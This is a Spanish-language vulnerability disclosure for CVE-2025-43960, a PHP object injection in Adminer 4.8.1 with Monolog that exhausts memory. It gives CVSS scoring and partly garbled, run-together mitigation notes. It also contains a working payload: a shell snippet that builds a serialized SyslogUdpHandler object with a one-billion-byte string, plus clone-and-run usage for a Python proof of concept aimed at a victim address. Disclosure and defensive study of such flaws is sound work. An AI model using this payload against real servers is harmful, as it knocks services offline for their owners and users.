
# Exploit de inyección de objetos PHP para Adminer <4.8.1 a través de Monolog, que provoca denegación de servicio mediante payloads serializados manipulados. Incluye PoC, puntuación CVSS y guía de mitigación.
Después de meses esperando una respuesta de MITRE, obtuve el CVE-2025-43960 con un ataque de Inyección de Objetos PHP contra el servicio Adminer (<4.8.1), causando una Denegación de Servicio (DoS) mediante Manipulación de Memoria.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
Esta vulnerabilidad permite a atacantes remotos no autenticados explotar instancias de Adminer 4.8.1 que usan Monolog, causando una Denegación de Servicio (DoS) mediante Inyección de Objetos PHP. El vector de ataque no requiere autenticación ni interacción del usuario, lo que lo convierte en un problema de alta gravedad (CVSS 7.5) con potencial de escalar a 8.6 en ciertos entornos compartidos.
Adminer 4.8.1, cuando utiliza Monolog para el registro de eventos, permite una denegación de servicio (consumo de memoria) mediante un payload serializado manipulado, como uno con una cadena s:1000000000, también conocido como un problema de Inyección de Objetos PHP. La vulnerabilidad afecta a instancias de Adminer que utilizan Monolog para el registro, donde la entrada de usuario no confiable se deserializa sin una validación adecuada.
Al enviar un objeto deserializado de gran tamaño, un atacante puede forzar un consumo elevado de memoria, haciendo que la interfaz de Adminer no responda y provocando una DoS en todo el servidor.
Puntuación base: 7.5 (Alta)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Nota sobre despliegues específicos:
Si el fallo de Adminer también interrumpe otros servicios/inquilinos (p. ej., contenedor o proceso compartido), Alcance: Cambiado puede aplicarse:
- Vector:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- Puntuación: 8.6 (Alta)
unserialize() sobre datos no confiables dentro de Adminer y Monolog.memory_limit) en PHP para prevenir el consumo excesivo de recursos.allowed_classes en unserialize() para restringir la deserialización de clases no autorizadas.< 4.8.1 (última versión estable en el momento de las pruebas)unserialize()Generación del payload:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
Impacto:
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium.